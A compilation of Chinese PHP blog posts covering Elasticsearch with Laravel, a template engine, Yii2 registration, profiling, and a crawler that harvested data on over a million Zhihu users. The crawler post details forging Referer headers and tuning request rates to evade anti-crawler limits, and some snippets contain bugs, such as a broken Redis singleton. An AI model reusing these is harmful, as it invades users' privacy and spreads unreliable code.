sudo apt-get install oracle-java8-installer




因为ElasticSearch底层其实就是lucene，所以，需要java



  如果以上第一行命令出现command not found，采取下面的解决方案，有两个需要注意的地方：




 sudo apt-get install python-software-properties
 sudo apt-get install software-properties-common




注：如果你想安装OpenJDK，请用以下命令，不过这个我并没有亲自测试过。


sudo apt-get update
sudo apt-get install openjdk-8-jre-headless -y




下载并安装ElasticSearch


wget https://download.elasticsearch.org/elasticsearch/elasticsearch/elasticsearch-1.7.0.deb
sudo dpkg -i elasticsearch-1.7.0.deb




目前ElasticSearch的最新稳定版为1.7.0，如果之后版本有升级，请将相应的版本号替换掉上面的1.7.0 。


你可以到这里查看：


https://www.elastic.co/downloads/elasticsearch


安装之：


sudo dpkg -i elasticsearch-1.7.0.deb




开机自启动，


sudo update-rc.d elasticsearch defaults 95 10

sudo /etc/init.d/elasticsearch start




测试


curl http://localhost:9200




你将看到类似以下的信息：


{
  "status" : 200,
  "version" : {
    "number" : "1.7.0",
    "build_timestamp" : "2015-07-16T14:31:07Z",
    "build_snapshot" : false,
    "lucene_version" : "4.10.4"
  },
  "tagline" : "You Know, for Search"
}




这样其实你已经将ElasticSearch安装成功了。


为Laravel项目安装相应的ElasticSearch composer package


当然，这些package有几个都很不错，而我个人使用的是Bouncy在composer.json里添加该package信息


 "require": {
        "fadion/bouncy": "dev-l5"
    }




然后执行，composer update


添加 Service provider


来到config/app.php，在providers处添加：


'Fadion\Bouncy\BouncyServiceProvider',




最后执行：


php artisan vendor:publish




这样之后，你在config/目录就会得到两个个配置文件


config/bouncy.php
config/elasticsearch.php




第一个是关于Bouncypackage的简单配置，第二个是关于ElasticSearch的具体配置，你可以直接打开来看看，如果没有什么必要，你可以目前保持文件不变。


安装完之后，我们怎么使用呢？其实很简单，Bouncy提供一种非常简单的方式将Laravel的Eloquent Model与ElasticSearch关联起来－－就只是使用一个trait而已！比如，我需要用Article Model作为示例：


use Fadion\Bouncy\BouncyTrait;

class Article extends Eloquent {

    use BouncyTrait;

    // ...other Eloquent attributes
    // or methods.
}




没错，这样就可以了。


索引所有的文章


这里我们在ArticleController实现索引所有的文章：


public function indexAllArticle()
    {
        return Article::all()->index();
    }





嗯，就是这么简单的，就像正常使用Eloquent一样，不过是在后面多使用一个index()方法。


在这里的使用请确保你的ElasticSearch服务是在正常运行期间。


而且还有一个好处就是，Bouncy在你开启auto_index的情况下，会自动在你创建和保存文件的时候自动将文章索引了，至于更多详细的用法，你可以查看详细的文档。


开启搜索




<h1>Type something to search...</h1>


{!! Form::open(['url'=>'/search','method'=>'get']) !!}


<div class="form-group">
    <input class="form-control" autofocus="true" name="query" id="query" type="text"/>
</div>


{!! Form::close() !!}




我们在blade文件中创建一个搜索表单，并指定表单的提交方式为GET。


设置路由


Route::get('/search','ArticleController@search');




编写search()方法


由于我们是直接使用GET的方式来传递参数，所以这里的示例仅是一些简单的代码：



 public function search()
    {
        if ( isset($_GET['query']) && !empty($_GET['query']) ) {
            $query = $_GET['query'];
        }
        $params = [
            'query' => [
                'match' => [
                    'title' => $query
                ]
            ],
            'highlight' => [
                'fields' => [
                    'title' => new \stdClass
                ]
            ],
            'size' => 20
        ];

    $articles = Article::search($params);

    return view('article.search', compact('articles'));
    }  




在这里我们只是指定了对文章的title进行匹配，你也可以将content作为匹配域。而highlight选项的配置是为了在视图中高亮匹配的内容：


{!! $article->highlight('title') !!}




这样，一个完整的搭建ElasticSearch的过程就完成了。


Todo


在实现的过程中，貌似ElasticSearch对中文的支持不是那么好，所以接下来会尝试使用一下中文分词器来看看效果，顺利的话会再出一篇文章。



	中文分词器



Happy Hacking


 PHP模板引擎的原理与实践

作者：我才是二亮

来源： PHP模板引擎的原理与实践



                    
0x00 模板引擎的原理

模板引擎就是在模板文件中使用一系列提前约定好的标签代替原生PHP代码，通过访问一个PHP的入口文件，会有一个PHP编译文件根据约定替换模板内标签以及标签内变量，最终将模板文件编译成一个PHP文件，然后展示到浏览器中。

模板文件

前端开发者将前端代码中的所有数据替换成与服务端开发者约定好的标签及变量名。

PHP入口文件

服务端开发者将前端代码中所需要的变量注入到前端。

PHP编译文件

该文件中是模板引擎中的核心，在这里我们定义了 标签  语句  等，通过读取模板文件，使用正则表达式去匹配模板文件中与后台约定好的标签及变量，并将标签及变量替换成PHP代码，最终生成一个前后端结合的PHP文件。

0x01 约定标签

PHP的语法中，包括 if...else   foreach   等语法，以及需要替换的普通变量 $value  , PHP原生语句，注释等等。一般情况下，大家习惯使用以下标签

{$value}
// 对应原生
<?php echo $value; ?>

{foreach $array}
    {V}
{/foreach}
// 对应原生
<?php
foreach($array as $K => $V) {
    echo $V;
}
?>

{if $data == 'XiaoMing'}
    I'm XiaoMing;
{else if $data == 'XiaoHong' }
    I'm XiaoHong;
{else}
    I'm XiaoLi;
{/if}
// 对应原生
<?php
    if($data == 'XiaoMing') {
        echo "XiaoMing";
    } else if ($data == 'XiaoHong') {
        echo "XiaoHong";
    } else {
        echo "XiaoLi";
    }
?>

等等，这些大家可以参考 Smarty  Discuz  的标签。

0x02 构造正则表达式匹配标签及变量　

正则表达式30分钟入门教程

对于正则表达式，大家可以戳进上面的教程，简单易用。 
下面直接给出相关标签的正则表达式。

// 匹配的正则表达式
$this->T_P[] = "#\{\\$([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\}#";    // 匹配普通变量
$this->T_P[] = "#\{foreach \\$([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\}#";     // 匹配{foreach $array}
$this->T_P[] = "#\{\/(foreach|if)\}#";    // 匹配{/foreach} or {/if}

// 对应的替换内容
$this->T_R[] = "<?php echo \$this->value['\\1']; ?>";
$this->T_R[] = "<?php foreach((array)\$this->value['\\1'] as \$K => \$V) { ?>";
$this->T_R[] = "<?php }?>";

0x03 对模板文件进行编译

编译就是对模板文件读取，使用正则表达式对模板标签及变量进行替换，最终将替换后的内容保存在一个PHP文件中即可。

使用的相关函数:

<?php
// 读取文件内容
file_get_contents($file)

// 正则替换
preg_replace(pattern, replacement, subject);
?>

0x04 结束并声明

通过这三步，一个简单的模板引擎就已经制作成功了，但是模板引擎的工作原理上面已经说过了，在进行正则匹配替换的过程中，效率极低，PHP自身效率本来就很低，在加上正则匹配，就可想而知了。所以，一般情况下，模板引擎都会有自己的缓存机制，将解析成功的内容保存成一个html文件，并设置缓存有效期，这样可以很大程度上提升效率。

声明

本文是学习《PHP核心技术与最佳实践》列旭松 陈文著 第6章 PHP模板引擎的原理与实践 学习笔记。
感谢作者！

原创文章，转载时必须以超链接的形式注明作者和原始出处。 |  作者 ： 我才是二亮




 【php爬虫】百万级别知乎用户数据爬取与分析

作者：hoohack

来源： 【php爬虫】百万级别知乎用户数据爬取与分析



                    
代码托管地址：https://github.com/hoohack/zhihuSpider

这次抓取了110万的用户数据，数据分析结果如下：


开发前的准备

安装Linux系统（Ubuntu14.04），在VMWare虚拟机下安装一个Ubuntu；

安装PHP5.6或以上版本；

安装MySQL5.5或以上版本；

安装curl、pcntl扩展。

使用PHP的curl扩展抓取页面数据

PHP的curl扩展是PHP支持的允许你与各种服务器使用各种类型的协议进行连接和通信的库。

本程序是抓取知乎的用户数据，要能访问用户个人页面，需要用户登录后的才能访问。当我们在浏览器的页面中点击一个用户头像链接进入用户个人中心页面的时候，之所以能够看到用户的信息，是因为在点击链接的时候，浏览器帮你将本地的cookie带上一齐提交到新的页面，所以你就能进入到用户的个人中心页面。因此实现访问个人页面之前需要先获得用户的cookie信息，然后在每次curl请求的时候带上cookie信息。在获取cookie信息方面，我是用了自己的cookie，在页面中可以看到自己的cookie信息：


一个个地复制，以"__utma=?;__utmb=?;"这样的形式组成一个cookie字符串。接下来就可以使用该cookie字符串来发送请求。

初始的示例：

$url = 'http://www.zhihu.com/people/mora-hu/about'; //此处mora-hu代表用户ID
$ch = curl_init($url); //初始化会话
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_COOKIE, $this->config_arr['user_cookie']);  //设置请求COOKIE
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  //将curl_exec()获取的信息以文件流的形式返回，而不是直接输出。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);  
$result = curl_exec($ch);
return $result;  //抓取的结果


运行上面的代码可以获得mora-hu用户的个人中心页面。利用该结果再使用正则表达式对页面进行处理，就能获取到姓名，性别等所需要抓取的信息。

图片防盗链

在对返回结果进行正则处理后输出个人信息的时候，发现在页面中输出用户头像时无法打开。经过查阅资料得知，是因为知乎对图片做了防盗链处理。解决方案就是请求图片的时候在请求头里伪造一个referer。

在使用正则表达式获取到图片的链接之后，再发一次请求，这时候带上图片请求的来源，说明该请求来自知乎网站的转发。具体例子如下：

function getImg($url, $u_id)
{
    if (file_exists('./images/' . $u_id . ".jpg"))
    {
        return "images/$u_id" . '.jpg';
    }
    if (empty($url))
    {
        return '';
    }
    $context_options = array(  
        'http' =>  
        array(
            'header' => "Referer:http://www.zhihu.com"//带上referer参数 
    　　)
　　);
      
    $context = stream_context_create($context_options);  
    $img = file_get_contents('http:' . $url, FALSE, $context);
    file_put_contents('./images/' . $u_id . ".jpg", $img);
    return "images/$u_id" . '.jpg';
}


爬取更多用户

抓取了自己的个人信息后，就需要再访问用户的关注者和关注了的用户列表获取更多的用户信息。然后一层一层地访问。可以看到，在个人中心页面里，有两个链接如下：


这里有两个链接，一个是关注了，另一个是关注者，以“关注了”的链接为例。用正则匹配去匹配到相应的链接，得到url之后用curl带上cookie再发一次请求。抓取到用户关注了的用于列表页之后，可以得到下面的页面：


分析页面的html结构，因为只要得到用户的信息，所以只需要框住的这一块的div内容，用户名都在这里面。可以看到，用户关注了的页面的url是：


不同的用户的这个url几乎是一样的，不同的地方就在于用户名那里。用正则匹配拿到用户名列表，一个一个地拼url，然后再逐个发请求（当然，一个一个是比较慢的，下面有解决方案，这个稍后会说到）。进入到新用户的页面之后，再重复上面的步骤，就这样不断循环，直到达到你所要的数据量。

Linux统计文件数量

脚本跑了一段时间后，需要看看究竟获取了多少图片，当数据量比较大的时候，打开文件夹查看图片数量就有点慢。脚本是在Linux环境下运行的，因此可以使用Linux的命令来统计文件数量：

ls -l | grep "^-" | wc -l


其中， ls -l 是长列表输出该目录下的文件信息（这里的文件可以是目录、链接、设备文件等）； grep "^-" 过滤长列表输出信息， "^-"  只保留一般文件，如果只保留目录是 "^d" ； wc -l 是统计输出信息的行数。下面是一个运行示例：


插入MySQL时重复数据的处理

程序运行了一段时间后，发现有很多用户的数据是重复的，因此需要在插入重复用户数据的时候做处理。处理方案如下：

1）插入数据库之前检查数据是否已经存在数据库；

2）添加唯一索引，插入时使用 INSERT INTO ... ON DUPLICATE KEY UPDATE... 

3）添加唯一索引，插入时使用 INSERT INGNORE INTO... 

4）添加唯一索引，插入时使用 REPLACE INTO... 

第一种方案是最简单但也是效率最差的方案，因此不采取。二和四方案的执行结果是一样的，不同的是，在遇到相同的数据时， INSERT INTO ... ON DUPLICATE KEY UPDATE 是直接更新的，而  REPLACE INTO  是先删除旧的数据然后插入新的，在这个过程中，还需要重新维护索引，所以速度慢。所以在二和四两者间选择了第二种方案。而第三种方案，  INSERT INGNORE  会忽略执行INSERT语句出现的错误，不会忽略语法问题，但是忽略主键存在的情况。这样一来，使用  INSERT INGNORE  就更好了。最终，考虑到要在数据库中记录重复数据的条数，因此在程序中采用了第二种方案。

使用curl_multi实现多线程抓取页面

刚开始单进程而且单个curl去抓取数据，速度很慢，挂机爬了一个晚上只能抓到2W的数据，于是便想到能不能在进入新的用户页面发curl请求的时候一次性请求多个用户，后来发现了curl_multi这个好东西。curl_multi这类函数可以实现同时请求多个url，而不是一个个请求，这类似于linux系统中一个进程开多条线程执行的功能。下面是使用curl_multi实现多线程爬虫的示例：

    $mh = curl_multi_init(); //返回一个新cURL批处理句柄
    for ($i = 0; $i < $max_size; $i++)
    {
        $ch = curl_init();  //初始化单个cURL会话
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_URL, 'http://www.zhihu.com/people/' . $user_list[$i] . '/about');
        curl_setopt($ch, CURLOPT_COOKIE, self::$user_cookie);
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        $requestMap[$i] = $ch;
        curl_multi_add_handle($mh, $ch);  //向curl批处理会话中添加单独的curl句柄
    }

    $user_arr = array();
    do {
                    //运行当前 cURL 句柄的子连接
        while (($cme = curl_multi_exec($mh, $active)) == CURLM_CALL_MULTI_PERFORM);
        
        if ($cme != CURLM_OK) {break;}
                    //获取当前解析的cURL的相关传输信息
        while ($done = curl_multi_info_read($mh))
        {
            $info = curl_getinfo($done['handle']);
            $tmp_result = curl_multi_getcontent($done['handle']);
            $error = curl_error($done['handle']);

            $user_arr[] = array_values(getUserInfo($tmp_result));

            //保证同时有$max_size个请求在处理
            if ($i < sizeof($user_list) && isset($user_list[$i]) && $i < count($user_list))
            {
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_HEADER, 0);
                curl_setopt($ch, CURLOPT_URL, 'http://www.zhihu.com/people/' . $user_list[$i] . '/about');
                curl_setopt($ch, CURLOPT_COOKIE, self::$user_cookie);
                curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                $requestMap[$i] = $ch;
                curl_multi_add_handle($mh, $ch);

                $i++;
            }

            curl_multi_remove_handle($mh, $done['handle']);
        }

        if ($active)
            curl_multi_select($mh, 10);
    } while ($active);

    curl_multi_close($mh);
    return $user_arr;


HTTP 429 Too Many Requests

使用curl_multi函数可以同时发多个请求，但是在执行过程中使同时发200个请求的时候，发现很多请求无法返回了，即发现了丢包的情况。进一步分析，使用 curl_getinfo 函数打印每个请求句柄信息，该函数返回一个包含HTTP response信息的关联数组，其中有一个字段是http_code，表示请求返回的HTTP状态码。看到有很多个请求的http_code都是429，这个返回码的意思是发送太多请求了。我猜是知乎做了防爬虫的防护，于是我就拿其他的网站来做测试，发现一次性发200个请求时没问题的，证明了我的猜测，知乎在这方面做了防护，即一次性的请求数量是有限制的。于是我不断地减少请求数量，发现在5的时候就没有丢包情况了。说明在这个程序里一次性最多只能发5个请求，虽然不多，但这也是一次小提升了。

使用Redis保存已经访问过的用户

抓取用户的过程中，发现有些用户是已经访问过的，而且他的关注者和关注了的用户都已经获取过了，虽然在数据库的层面做了重复数据的处理，但是程序还是会使用curl发请求，这样重复的发送请求就有很多重复的网络开销。还有一个就是待抓取的用户需要暂时保存在一个地方以便下一次执行，刚开始是放到数组里面，后来发现要在程序里添加多进程，在多进程编程里，子进程会共享程序代码、函数库，但是进程使用的变量与其他进程所使用的截然不同。不同进程之间的变量是分离的，不能被其他进程读取，所以是不能使用数组的。因此就想到了使用Redis缓存来保存已经处理好的用户以及待抓取的用户。这样每次执行完的时候都把用户push到一个already_request_queue队列中，把待抓取的用户（即每个用户的关注者和关注了的用户列表）push到request_queue里面，然后每次执行前都从request_queue里pop一个用户，然后判断是否在already_request_queue里面，如果在，则进行下一个，否则就继续执行。

在PHP中使用redis示例：

<?php
    $redis = new Redis();
    $redis->connect('127.0.0.1', '6379');
    $redis->set('tmp', 'value');
    if ($redis->exists('tmp'))
    {
        echo $redis->get('tmp') . "\n";
    }


使用PHP的pcntl扩展实现多进程

改用了curl_multi函数实现多线程抓取用户信息之后，程序运行了一个晚上，最终得到的数据有10W。还不能达到自己的理想目标，于是便继续优化，后来发现php里面有一个pcntl扩展可以实现多进程编程。下面是多编程编程的示例：

//PHP多进程demo
//fork10个进程
for ($i = 0; $i < 10; $i++) {
    $pid = pcntl_fork();
    if ($pid == -1) {
        echo "Could not fork!\n";
        exit(1);
    }
    if (!$pid) {
        echo "child process $i running\n";
        //子进程执行完毕之后就退出，以免继续fork出新的子进程
        exit($i);
    }
}

//等待子进程执行完毕，避免出现僵尸进程
while (pcntl_waitpid(0, $status) != -1) {
    $status = pcntl_wexitstatus($status);
    echo "Child $status completed\n";
}


在Linux下查看系统的cpu信息

实现了多进程编程之后，就想着多开几条进程不断地抓取用户的数据，后来开了8调进程跑了一个晚上后发现只能拿到20W的数据，没有多大的提升。于是查阅资料发现，根据系统优化的CPU性能调优，程序的最大进程数不能随便给的，要根据CPU的核数和来给，最大进程数最好是cpu核数的2倍。因此需要查看cpu的信息来看看cpu的核数。在Linux下查看cpu的信息的命令：

cat /proc/cpuinfo


结果如下：


其中，model name表示cpu类型信息，cpu cores表示cpu核数。这里的核数是1，因为是在虚拟机下运行，分配到的cpu核数比较少，因此只能开2条进程。最终的结果是，用了一个周末就抓取了110万的用户数据。

多进程编程中Redis和MySQL连接问题

在多进程条件下，程序运行了一段时间后，发现数据不能插入到数据库，会报mysql too many connections的错误，redis也是如此。

下面这段代码会执行失败：

<?php
     for ($i = 0; $i < 10; $i++) {
          $pid = pcntl_fork();
          if ($pid == -1) {
               echo "Could not fork!\n";
               exit(1);
          }
          if (!$pid) {
               $redis = PRedis::getInstance();
               // do something     
               exit;
          }
     }


根本原因是在各个子进程创建时，就已经继承了父进程一份完全一样的拷贝。对象可以拷贝，但是已创建的连接不能被拷贝成多个，由此产生的结果，就是各个进程都使用同一个redis连接，各干各的事，最终产生莫名其妙的冲突。

解决方法：

程序不能完全保证在fork进程之前，父进程不会创建redis连接实例。因此，要解决这个问题只能靠子进程本身了。试想一下，如果在子进程中获取的实例只与当前进程相关，那么这个问题就不存在了。于是解决方案就是稍微改造一下redis类实例化的静态方式，与当前进程ID绑定起来。



改造后的代码如下：

<?php
     public static function getInstance() {
          static $instances = array();
          $key = getmypid();//获取当前进程ID
          if ($empty($instances[$key])) {
               $inctances[$key] = new self();
          }
     
          return $instances[$key];
     }


PHP统计脚本执行时间

因为想知道每个进程花费的时间是多少，因此写个函数统计脚本执行时间：

function microtime_float()
{
     list($u_sec, $sec) = explode(' ', microtime());
     return (floatval($u_sec) + floatval($sec));
}

$start_time = microtime_float();

//do something
usleep(100);

$end_time = microtime_float();
$total_time = $end_time - $start_time;

$time_cost = sprintf("%.10f", $total_time);

echo "program cost total " . $time_cost . "s\n";


若文中有不正确的地方，望各位指出以便改正。


 我这两年的编程

作者：JellyBool

来源： 我这两年的编程



                    
从最开始接触编程到现在快两年时间了，已经由当初的完完全全小白到现在的越学越知道得少。有一些个人的感受，无关对错，只是记录一下。


1. 基本的英文水平


这个基本的英文水平指的是你可以看懂各种技术，框架的英文文档。如果这个基本的出发点都没有，其实我个人觉得还是很吃亏的。当初在上手Laravel的时候，旁边的小伙伴看到我直接看的是英文文档，非常惊讶“我草，你都看英文的啊，这么装逼”。其实个人觉得这根装不装逼没有关系，只是一种身为代码工作者的基本要求，连文档都得依赖中文，慢慢等吧


2. 善用Google


个人认为，如果一个开发者还是没用善用Google，而是依旧依赖于百度，那么在我眼里，我确实是有那么一点鄙视你的，因为从我的个人经验（虽然只有不到两年）来说，在编程过程中的问题，80%可以由仔细看文档解决，15%可以由Google解决，剩下的5%拼的是经验和智商。而在使用Google的过程中，基本的英语能力又得提出来说说了，因为同一个问题，同样的关键字，你在Google和百度搜索出来的结果完完全去是两个世界，百度几乎对我没啥帮助，而Google几乎是认真读完搜索结果的前三条就可以解决遇到的问题，最多5条。所以，每次我听到有人抱怨Google被墙而不想花每月十几块钱去开个VPN的时候，我都是一副很惊讶的表情，明明就那么点钱就可以换来的网络自由，你就舍不得...


3. 良好的编程习惯和风格


这个对于写过一定量代码的人来说会有很大的感受。函数的命名，变量的叫法等都是很重要的事。我个人觉得用拼音来命名函数和变量是非常low逼的一件事，就连基本的英文单词都不会么？就连程序员的基本素养都没有么？就拿上次隔壁寝室的同学来问的问题来说，他说一个PHP新手，问我怎么将以下json数组的相应值取出来：


{
    "zt":true,
    "xs":{
        "xh":"201214109302",
        "xy":"gg"
    }
}





对，相应的值就是xs下面的xh和xy，你知道这啥么？


xs：学生
xh：学号
xy：学院


那gg呢？不是哥哥？不是偶吧，而是共管（公共管理学院简称）；那zt呢，没错就是状态！你连一个简单的status都不会么？真牛逼


我当时简直疯了，虽然说这个很简单，但我当时真的不想多说什么。。。


Jeffrey有一句话说得很好：



  Write the code the way you speak it.




对，这才是代码。代码的最终目的不是为了让机器懂，而是为了让人看懂，并且要看得舒服。所以我一贯认为，写代码应该是一件理所当然的事。


至于风格规范，对于一个写PHP的程序员来说。尽量严格按照psr-2或者psr-4风格吧，如果实在不行，用IDE吧，用PHP-CS-Fixer吧，不要写一堆自己一个月之后也看不懂的代码了。那样浪费的时间往往比你想象要多。


4. 注重平时积累和重构


平时的积累往往就是体现在遇到问题时找到的解决方案。你对解决问题的方案有没有彻底理解？在这基础上有没有更好的解决方案？遇到的问题有没有总结起来？一些精彩的代码片段有没有读通，它的关键之处，它的精妙的点是什么？常用的代码块有没有自己的代码库？


我通常的做法是将遇到的问题列在自己的todo里面，如果在Google上找到了很漂亮的解决方案，我会收藏到Pocket里，晚上睡觉之前都会认真过一遍，如果有需要，时不时翻出来看看。对于一些常用的代码块，比如发送邮件的代码块，一些常见的数据表设计，处理上传图片等代码，我通常都是直接粘贴在在Dash里面的，到需要用的时候，我都是直接复制过来的，不要觉得复制代码可耻，反正我觉得这还挺能提高我的代码效率的。


至于重构，还多你之前写的代码你还能看懂不？能看懂你还能写得更好不？这些代码还能更灵活不？时不时带着新的眼光看看之前写的代码，很多时候你会出现灵光一闪的时刻“这样写不是更好么”，然后啪啪啪将代码改了。我将这些灵感的出现归结为知识积累和经验增加。


5.健康很重要


不要熬夜，不要熬夜，不要熬夜。


我之前有个一段时间每天晚上都看视频看到很晚，然后白天睡觉，这样坚持了一个多月，这个月里没啥运动，就连我平时最爱的篮球都没有碰。后来打过一次篮球之后才知道原来自己都这么虚了，一次突破之后已经累成狗，跟以前打两个小时不累的状态实在差太多。所以，还是要健健康康，毕竟勤奋和健康是不冲突的，不要想着自己感动自己，最后把自己的身体累垮了...


十一点了，要睡觉了


以上，以后想到再更吧。


Happy Hacking


 Yii2系列教程四：实现用户注册，验证，登录

作者：JellyBool

来源： Yii2系列教程四：实现用户注册，验证，登录



                    

  原文来自： https://jellybool.com/post/programming-with-yii2-integrating-user-regi...




本来打算昨晚写的这篇教程，但是忙着约会去了，所以现在补上吧。


上一篇写了一点点Yii2的数据库相关知识和强大的Gii，这一篇就如上一篇的最后所说的一样：在Yii2中实现用户的注册和登录。


你可以直接到Github下载源码，以便可以跟上进度，你也可以重头开始，一步一步按照这个教程来做。本期的用户注册和登录，我会使用一个很棒的composer package ：dektrium/yii2-user，下面就开始我们的故事吧。


用户的注册和登录


在现在的Web应用中，几乎每一个应用都会需要用户注册，不管是使用的第三方还是自建的注册登录系统，我们都需要通过某些表单来收集一些必要的用户数据。这些功能在Yii2之中实现起来并不难，而且有很多种方法，好像很多方法都是比较直接，简单粗暴。这可能是很多人喜欢Yii的原因，就像很多人喜欢PHP一样，就是简单粗暴！


其实在Yii2中，它本身就自带了一个登录的实现:





但是我们重复去制造这个轮子是因为我们需要一些更加实用性的改善，比如：在注册的时候，发送验证邮箱。这几乎是每一个Web应用在注册的时候都会考虑的内容。


如果你安装的是Yii2 Advanced Application Template，那么Yii2其实就把这些功能都写好了，而且你还会有一个后台管理的模块。但是我们的教程是基于Yii2's Basic Application Template，而且我提倡大家来动手造一下这个轮子。


带上我们的作案工具，我们要来造轮子了。


安装Yii2-User


我们这里的Yii2-User安装步骤参照Yii2-User的官方安装文档。我们直接使用composer来进行安装：


composer require "dektrium/yii2-user:0.9.*@dev"




稍微等待一下，安装完毕之后就可以进行对应的配置了，我们需要配置的文件是config/web.php，找到components，然后在与它同级的位置增加一个modules：


'components' => [
        // other settings...
    ],
'modules' => [
        'user' => [
            'class' => 'dektrium\user\Module',
            'confirmWithin' => 21600,
            'cost' => 12,
            'admins' => ['admin']
        ],
    ],





  这里还需要将components下面的user部分注释掉，不然就会一直登录不了：




```
 /* 'user' => [
            'identityClass' => 'app\models\User',
            'enableAutoLogin' => true,
        ],*/
```



还有最后一步就是执行Yii2-User的migration了，在helloYii/目录下执行：


php yii migrate/up --migrationPath=@vendor/dektrium/yii2-user/migrations




然后你会看到：





果断yes





Bang，到这里Yii2-User安装和配置已经完成了。


配置SwiftMailer


安装完Yii2-User之后我们先不急着去想怎么实现登录和注册(其实很是比较简单的)，我们之前说过的目标是实现用户在注册时候发送验证邮件的，这里我们先来配置一下我们的邮箱服务，因为Yii2-User可以直接使用邮箱来进行注册验证和密码找回等功能。在config/web.php找到mailer这个部分：


'mailer' => [
    'class' => 'yii\swiftmailer\Mailer',
    // send all mails to a file by default. You have to set
    // 'useFileTransport' to false and configure a transport
    // for the mailer to send real emails.
    'useFileTransport' => true,
],




修改成我们下面的这个样子：


'mailer' => [
        'class' => 'yii\swiftmailer\Mailer',
        'viewPath' => '@app/mailer',
        'useFileTransport' => false,
        'transport' => [
            'class' => 'Swift_SmtpTransport',
            'host' => 'smtp.live.com',
            'username' => 'jellybool@outlook.com',
            'password' => 'your-password',
            'port' => '587',
            'encryption' => 'tls',
            ],
    ],




这里由于我经常使用的是outlook，不要觉得我是奇葩。所以我在这里使用的是outlook的SMTP配置，各位可以根据自己的需要来进行相应的修改。


开始使用Yii2-User


邮箱配置好了之后，我们就可以开始使用Yii2-User了，首先我们来修改一下我们的导航栏，因为我们想实现的就是我们常常看到的在导航栏的右侧的注册和登录按钮。在/views/layouts/main.php找到：


echo Nav::widget([
            'options' => ['class' => 'navbar-nav navbar-right'],
            'items' => [
                ['label' => 'Home', 'url' => ['/site/index']],
                [
                    'label' => 'Status',
                    'items' => [
                        ['label' => 'View', 'url' => ['/status/index']],
                        ['label' => 'Create', 'url' => ['/status/create']],
                    ],
                ],
                ['label' => 'About', 'url' => ['/site/about']],
                ['label' => 'Contact', 'url' => ['/site/contact']],
                Yii::$app->user->isGuest ?
                    ['label' => 'Login', 'url' => ['/site/login']] :
                    ['label' => 'Logout (' . Yii::$app->user->identity->username . ')',
                        'url' => ['/site/logout'],
                        'linkOptions' => ['data-method' => 'post']],
            ],
        ]);




上面的启示就是我们在上一篇文章修改过后的导航栏的代码，然后用下面的代码进行替换：


$navItems=[
    ['label' => 'Home', 'url' => ['/site/index']],
    ['label' => 'Status', 'url' => ['/status/index']],
    ['label' => 'About', 'url' => ['/site/about']],
    ['label' => 'Contact', 'url' => ['/site/contact']]
  ];
  if (Yii::$app->user->isGuest) {
    array_push($navItems,['label' => 'Sign In', 'url' => ['/user/login']],['label' => 'Sign Up', 'url' => ['/user/register']]);
  } else {
    array_push($navItems,['label' => 'Logout (' . Yii::$app->user->identity->username . ')',
        'url' => ['/site/logout'],
        'linkOptions' => ['data-method' => 'post']]
    );
  }
echo Nav::widget([
    'options' => ['class' => 'navbar-nav navbar-right'],
    'items' => $navItems,
]);





修改完成之后，我们直接访问：http://localhost:8999/user/register，你将会看到下面的类似页面：





有没有觉得很神奇？没错Yii2-User帮我们都全部写好了！然后我们输入相应的信息点击注册，之后就会看到这个信息提示页面：





提示新说表明验证邮箱已经发送，我们登录qq邮箱去看看，果然：





看到这个，相信大家都会很开心，有图有真相。直接点击邮件的验证链接，然后就会看到Yii2-User给我们反馈的验证成功的信息：





注意右上角，这个时候我们已经登录到应用了，如果点击Logout就会回到登录页面：





到这里，注册登录整个流程就实现完了，不过还有一个我们日常开发经常遇到的情况：忘记密码。嗯，对于这个情况，Yii2-User直接就提供了这个功能！你可以直接访问：http://localhost:8999/user/forgot 就可以看到了：





嗯，就这样，很简单吧。借助Yii2-User这个强大的composer package，我们可以轻松实现用户注册，登录和忘记密码等各个功能。当然，Yii2-User还有很多特性，我们这里只是用到了很小一部分，你可以直接到文档中查看：


https://github.com/dektrium/yii2-user/blob/master/docs/README.md


最后希望这一篇文章可以帮你解决一些问题。下一步我肯能会说一下用户权限控制和管理，因为这里实现的用户注册，所以下一篇显得是自然而然的。



  源码会放在 Github：https://github.com/JellyBool/helloYii




Happy Hacking


 PHP 性能分析第一篇: Xhprof & Xhgui 介绍

作者：OneAPM蓝海讯通

来源： PHP 性能分析第一篇: Xhprof & Xhgui 介绍



                    
注：这是我们 PHP 应用性能分析系列的第一篇，阅读第二篇可深入了解  xhgui，第三篇则关注于性能调优实践。

什么是性能分析？

性能分析是衡量应用程序在代码级别的相对性能。性能分析将捕捉的事件包括：CPU的使用，内存的使用，函数的调用时长和次数，以及调用图。性能分析的行为也会影响应用性能。


影响的程度取决于基准测试。基准测试在外部执行，用于衡量应用真实性能。所谓真实性能，即终端用户所体验的应用表现。

什么时候应该进行性能分析？

在考虑是否进行性能分析时，你首先要想：应用是否存在性能问题？如果有，你要进一步考虑：这个问题有多大？

如果你不这样做，将会陷入一个陷阱——过早优化，这可能会浪费你的时间。

为了评断应用是否存在性能问题，你应该确定性能目标。例如，100个并发用户的响应时间小于1s。然后，你需要进行基准测试，看是否达到这个目标。一个常见的错误是，在开发环境进行基准测试。事实上，你必须在生产环境进行基准测试。（实际生产环境或模拟的生产环境，后者很容易在 SaaS 实现（见：OneAPM 性能在线分析）。

用于基准测试的产品很多，包括 ab，siege 和 JMeter。我个人比较喜欢JMeter的功能集，但 ab 和 siege 更加易用。

